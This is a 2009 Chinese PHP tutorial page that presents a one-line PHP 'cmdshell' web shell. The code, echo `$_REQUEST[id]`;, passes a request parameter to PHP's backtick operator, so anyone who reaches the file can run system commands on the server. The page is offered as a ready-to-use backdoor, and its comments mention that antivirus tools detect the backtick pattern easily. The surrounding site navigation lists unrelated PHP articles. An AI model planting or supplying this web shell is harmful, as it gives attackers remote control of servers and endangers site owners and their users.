当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
我的论坛源代码(一)
一个连接两个不同MYSQL数据库的PHP程序
PHP的FTP学习(四)
杏林同学录(六)
我的论坛源代码(八)
我的论坛源代码(七)
如何将数据从文本导入到mysql
PHP个人网站架设连环讲(四)
数据库的日期格式转换
PHP生成便于打印的网页
一个简单的MySQL数据浏览器
PHP4实际应用经验篇(8)
PHP4实际应用经验篇(9)
PHP4实际应用经验篇(7)
也谈截取首页新闻 - 范例
PHP中动态HTML的输出技术
一个ubbcode的函数,速度很快.
关于文本留言本的分页代码
怎样在UNIX系统下安装MySQL
怎样在UNIX系统下安装php3

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 260 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>